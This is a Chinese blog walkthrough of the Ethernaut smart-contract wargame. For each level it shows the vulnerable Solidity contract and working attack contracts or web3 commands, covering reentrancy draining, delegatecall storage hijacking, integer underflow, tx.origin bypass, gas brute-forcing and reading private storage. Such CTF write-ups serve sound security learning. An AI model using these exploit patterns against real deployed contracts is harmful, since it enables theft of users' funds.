Logo
Overview

ethernaut全集

February 25, 2025

Hello Ethernet

JAVASCRIPT
await contract.info();
//"You will find what you need in info1()."
await contract.info1();
//'Try info2(), but with "hello" as a parameter.'
await contract.info2("hello");
//"The property infoNum holds the number of the next info method to call."
await contract.infoNum();
// 42
await contract.info42();
// "theMethodName is the name of the next method."
await contract.theMethodName();
// "The method name is method7123949."
await contract.method7123949();
// "If you know the password, submit it to authenticate()."
await contract.password();
// password
await contract.authenticate("password");
// None

Fallback

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

需要把owner变成我们。所以我们只需要提交一个contribute,然后发送转账即可。最后withdraw。

JAVASCRIPT
await contract.contribute.sendTransaction({from: player, value: toWei('0.0009')})
await web3.eth.sendTransaction({from: player, to: contract.address,value: toWei("0.000001")})
await contract.owner()
await contract.withdraw()

Fal1out

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;

    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

同样是取得所有权。注意到这里所有权只在Fal1out中定义。所以直接调用就可以了。

JAVASCRIPT
await contract.Fal1out();
await contract.owner();

Coin Flip

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
    uint256 public consecutiveWins;
    uint256 lastHash;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor() {
        consecutiveWins = 0;
    }

    function flip(bool _guess) public returns (bool) {
        uint256 blockValue = uint256(blockhash(block.number - 1));

        if (lastHash == blockValue) {
            revert();
        }

        lastHash = blockValue;
        uint256 coinFlip = blockValue / FACTOR;
        bool side = coinFlip == 1 ? true : false;

        if (side == _guess) {
            consecutiveWins++;
            return true;
        } else {
            consecutiveWins = 0;
            return false;
        }
    }
}

伪随机。要求在同一个block内那么就需要合约来交互。但是一次交易只能进行一次操作。

所以简单写个合约。

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;


import "./CoinFlip.sol";

contract Solve{
    CoinFlip public coinFlip;
    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _coinFlip) public{
        coinFlip = CoinFlip(_coinFlip);
    }
    function guessFlip() public {

        uint256 blockValue = uint256(blockhash(block.number - 1));
        uint256 coinFlip = blockValue / FACTOR;
        bool guess = coinFlip == 1 ? true : false;

        coinFlip.flip(guess);
    }
}

调用十次就行。

Telephone

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

一眼看出,tx.origin 是交易发起人,msg.sender可以是合约。

所以再来一个合约。

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ITelephone{
    function changeOwner(address _owner) external;
}

contract Solve{
    ITelephone public phone;
    constructor(address _phone){
      phone = ITelephone(_phone);
    }
    function solve() public{
        phone.changeOwner(msg.sender);
    }
}

Token

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
    mapping(address => uint256) balances;
    uint256 public totalSupply;

    constructor(uint256 _initialSupply) public {
        balances[msg.sender] = totalSupply = _initialSupply;
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        require(balances[msg.sender] - _value >= 0);
        balances[msg.sender] -= _value;
        balances[_to] += _value;
        return true;
    }

    function balanceOf(address _owner) public view returns (uint256 balance) {
        return balances[_owner];
    }
}

7.4.0之前(好像)的solidity是没有数学安全检查的。所以盲猜是溢出攻击。

然后看到transfer这个函数的检查好像没用诶!所以直接这样调用就行。

JAVASCRIPT
await contract.transfer(contract.address,22000001)

Delegation

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
    address public owner;

    constructor(address _owner) {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result,) = address(delegate).delegatecall(msg.data);
        if (result) {
            this;
        }
    }
}

代理函数。当调用了Delegation.call(calldata)时,会自动往下一层Delegate中调用。所以我们只需要调用Delegation.call(”pwn()”)就可以了。

JAVASCRIPT
let fn = web3.utils.keccak256("pwn()")
await web3.eth.sendTransaction({from: player, to: contract.address, data: fn})

Force

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

什么都没有。如何通过合约向合约发送以太坊?

🙂
  1. 合约至少实现了一个payable函数,然后在调用函数的时候带eth
  2. 合约实现了一个recevie函数
  3. 合约实现了一个fallback函数
  4. 通过selfdestruct()
  5. 通过miner的奖励获得eth

所以显然是通过selfdestruct。我们只需要定义一个合约并且让他被destruct了,它的余额就能被转移到指定的地方。

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Payer {
    uint public balance = 0;

    function destruct(address payable _to) external payable {
        selfdestruct(_to);
    }

    function deposit() external payable {
        balance += msg.value;
    }
}

Vault

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

这里private的内容,我们不能直接通过调用来查看。但是作为一个公开透明的web3网络,我们可以直接阅读storage来获得值。😈

通过await web3.eth.getCode(contract.address)可以查看字节码,于是可以通过一些网站来进行简单的decompile。https://www.oklink.com/zh-hans/decompile#bytecode=6080604052348015600f57600080fd5b506004361060325760003560e01c8063cf309012146037578063ec9b5b3a146057575b600080fd5b60005460439060ff1681565b604051901515815260200160405180910390f35b60666062366004607f565b6068565b005b806001541415607c576000805460ff191690555b50565b600060208284031215609057600080fd5b503591905056fea2646970667358221220fc7b38e6559928e1e1112f630b03a26ee6eb52d794080ecd75435ef82810dd9b64736f6c634300080c0033

但是能变成这个样子我是没想到的。

SOLIDITY
# Palkeoramix decompiler. 

def storage:
  stor0 is uint8 at storage 0
  stor1 is uint256 at storage 1

def locked() payable: 
  return bool(stor0)

#
#  Regular functions
#

def _fallback() payable: # default function
  revert

def unlock(bytes32 _param1) payable: 
  require calldata.size - 4 >=32
  if stor1 == _param1:
      stor0 = 0

对比已知代码,知道stor1是byte32的password。直接获取!

JAVASCRIPT
let password = await web3.eth.getStorageAt(contract.address,1)
await contract.unlock(password)
await contract.locked()

King

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
    address king;
    uint256 public prize;
    address public owner;

    constructor() payable {
        owner = msg.sender;
        king = msg.sender;
        prize = msg.value;
    }

    receive() external payable {
        require(msg.value >= prize || msg.sender == owner);
        payable(king).transfer(msg.value);
        king = msg.sender;
        prize = msg.value;
    }

    function _king() public view returns (address) {
        return king;
    }
}

现在是0.001 eth。

JAVASCRIPT
(await contract.prize()).toString()
// 0.001

写一个恶意合约,把所有的transfer都revert了,就可以了。

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Solve{
    address payable king;
    constructor(address payable _king) {
        king = _king;
    }
    receive() external payable {
        revert("Impossible!");
    }
    function claimKing() external payable {
        king.call{value: 0.0011 ether}("");
    }

}
JAVASCRIPT
let fn = web3.utils.keccak256("claimKing()")
await web3.eth.sendTransaction({from: player, to: "0x23C628C158b4162Cd49FBF13Dd009fFDf593E3c6",data: fn, value: toWei("0.0011")})

Re-entrancy

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

看名字就知道是重入攻击。如题:在withdraw函数中,更新记录在转账之后,转账时,如果我们构造一个恶意合约可以再次调用withdraw。从而取得所有的balance。

SOLIDITY

contract Attack {
    Reentrance r;
    uint256 amount = 0.001 ether;

    constructor(address payable addr) public {
        r = Reentrance(addr);
    }

    receive() external payable {
        if (address(r).balance >= amount) {
            r.withdraw(amount);
        }
    }

    function attack() external payable {
        r.donate{value: amount}(address(this));
        r.withdraw(amount);
    }

    function withdraw() external {
        msg.sender.transfer(address(this).balance);
    }
}

Elevator

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
    function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
    bool public top;
    uint256 public floor;

    function goTo(uint256 _floor) public {
        Building building = Building(msg.sender);

        if (!building.isLastFloor(_floor)) {
            floor = _floor;
            top = building.isLastFloor(floor);
        }
    }
}

实现一个build合约,满足调用goTo时,building.isLastFloor 先为false,再为true。

连着两次调用是反过来的。

于是

SOLIDITY
contract Building_ is Building{
  Elevator public target;
  bool result = true;
  constructor(address elevator) {
    target = Elevator(elevator);
  }
  function isLastFloor(uint) public returns (bool){
    result = !result;
    return result;
  }

  function attack() public {
    target.goTo(2);
  }
}

部署运行即可。

Privacy

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
    bool public locked = true;
    uint256 public ID = block.timestamp;
    uint8 private flattening = 10;
    uint8 private denomination = 255;
    uint16 private awkwardness = uint16(block.timestamp);
    bytes32[3] private data;

    constructor(bytes32[3] memory _data) {
        data = _data;
    }

    function unlock(bytes16 _key) public {
        require(_key == bytes16(data[2]));
        locked = false;
    }

    /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
    */
}

和之前那个一样,丢到反汇编程序里,然后直接看是哪一个storage就行。

所以直接取storage5就能拿到,再截取一半。

JAVASCRIPT
await contract.unlock((await web3.eth.getStorageAt(contract.address,5)).slice(0,34))

Gatekeeper

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        require(gasleft() % 8191 == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
        require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
        require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

就是三个过滤。

gateOne:我们用合约就能绕过。

gateTwo:爆破gas。

gateThree:

  1. 低位 4 bytes (32 bits) == 低位 2 bytes (16 bits)

    中间2 bytes置零

  2. 低位 4 bytes (32 bits) != 高位 4 bytes (32 bits)
  3. 低位 4 bytes (32 bits) == tx.origin 的低位 2 bytes (16 bits)

所以相当于这个gateKey = tx.origin & 0xffffffff0000ffff

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Solve {
    function attack(address addr) external returns (bool) {
        GatekeeperOne g = GatekeeperOne(addr);
        bytes8 gateKey = bytes8(uint64(uint160(tx.origin))) & 0xffffffff0000ffff;

        for (uint i = 0; i < 1000; i ++) {
            try g.enter{gas: 8191 * 3 + i}(gateKey) returns (bool result) {
                return result;
            } catch { }
        }

        return false;
    }
}

Gatekeeper Two

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
    address public entrant;

    modifier gateOne() {
        require(msg.sender != tx.origin);
        _;
    }

    modifier gateTwo() {
        uint256 x;
        assembly {
            x := extcodesize(caller())
        }
        require(x == 0);
        _;
    }

    modifier gateThree(bytes8 _gateKey) {
        require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
        _;
    }

    function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
        entrant = tx.origin;
        return true;
    }
}

好像这个看起来比上一个简单。gateTwo是判断caller是否为合约的方法。当然如果在constructor中调用这个函数,不会出现错误。

SOLIDITY
contract Solve {
    constructor(address addr) {
        GatekeeperTwo g = GatekeeperTwo(addr);
        bytes8 gateKey = bytes8(keccak256(abi.encodePacked(address(this)))) ^ 0xffffffffffffffff;
        g.enter(gateKey);
    }
}

Naught Coin

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
    // string public constant name = 'NaughtCoin';
    // string public constant symbol = '0x0';
    // uint public constant decimals = 18;
    uint256 public timeLock = block.timestamp + 10 * 365 days;
    uint256 public INITIAL_SUPPLY;
    address public player;

    constructor(address _player) ERC20("NaughtCoin", "0x0") {
        player = _player;
        INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
        // _totalSupply = INITIAL_SUPPLY;
        // _balances[player] = INITIAL_SUPPLY;
        _mint(player, INITIAL_SUPPLY);
        emit Transfer(address(0), player, INITIAL_SUPPLY);
    }

    function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
        super.transfer(_to, _value);
    }

    // Prevent the initial owner from transferring tokens until the timelock has passed
    modifier lockTokens() {
        if (msg.sender == player) {
            require(block.timestamp > timeLock);
            _;
        } else {
            _;
        }
    }
}

不让转账。但是可以收款啊。

再来一个合约,然后transferFrom就行。当然本账户是要approve的。

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/ecd2ca2cd7cac116f7a37d0e474bbb3d7d5e1c4d/contracts/token/ERC20/IERC20.sol";

contract Solve {
    function solve(address _token) external {
		    IERC20 token = IERC20(_token);
        uint256 balance = token.balanceOf(msg.sender);
        token.transferFrom(msg.sender, address(this), balance);
    }
}

Preservation

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Preservation {
    // public library contracts
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;
    // Sets the function signature for delegatecall
    bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));

    constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) {
        timeZone1Library = _timeZone1LibraryAddress;
        timeZone2Library = _timeZone2LibraryAddress;
        owner = msg.sender;
    }

    // set the time for timezone 1
    function setFirstTime(uint256 _timeStamp) public {
        timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }

    // set the time for timezone 2
    function setSecondTime(uint256 _timeStamp) public {
        timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
    }
}

// Simple library contract to set the time
contract LibraryContract {
    // stores a timestamp
    uint256 storedTime;

    function setTime(uint256 _time) public {
        storedTime = _time;
    }
}

delegateCall时,相当于把下一个合约的代码复制到当前环境中来运行。

并且由于LibraryContractPreservation 代码中变量结构不同,LibraryContract中setTime调用时,实际上是修改第一个slot中的内容,即address public timeZone1Library的内容。所以可以覆盖上一个恶意合约,再次修改即可修改owner。

SOLIDITY
contract Solve {
    address public timeZone1Library;
    address public timeZone2Library;
    address public owner;
    uint256 storedTime;

    function setTime(uint256 /*_time*/) public {
        owner = msg.sender;
    }
}

Recovery

SOLIDITY
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Recovery {
    //generate tokens
    function generateToken(string memory _name, uint256 _initialSupply) public {
        new SimpleToken(_name, msg.sender, _initialSupply);
    }
}

contract SimpleToken {
    string public name;
    mapping(address => uint256) public balances;

    // constructor
    constructor(string memory _name, address _creator, uint256 _initialSupply) {
        name = _name;
        balances[_creator] = _initialSupply;
    }

    // collect ether in return for tokens
    receive() external payable {
        balances[msg.sender] = msg.value * 10;
    }

    // allow transfers of tokens
    function transfer(address _to, uint256 _amount) public {
        require(balances[msg.sender] >= _amount);
        balances[msg.sender] = balances[msg.sender] - _amount;
        balances[_to] = _amount;
    }

    // clean up after ourselves
    function destroy(address payable _to) public {
        selfdestruct(_to);
    }
}

简单取证题。直接去找transcation中的某个带有0.001 ether的合约。https://sepolia.etherscan.io/tx/0x4204a861a00fc325d4446c80310971a8c737f85653a594bfe8f537354caaa5d0#internal

MagicNumber

10byte的合约,并且能够返回42。类似之前SCTF的某个题。放文章吧,我太菜了.jpg

https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2

comment

留言 / 评论

如果暂时没有看到评论,请点击下方按钮重新加载。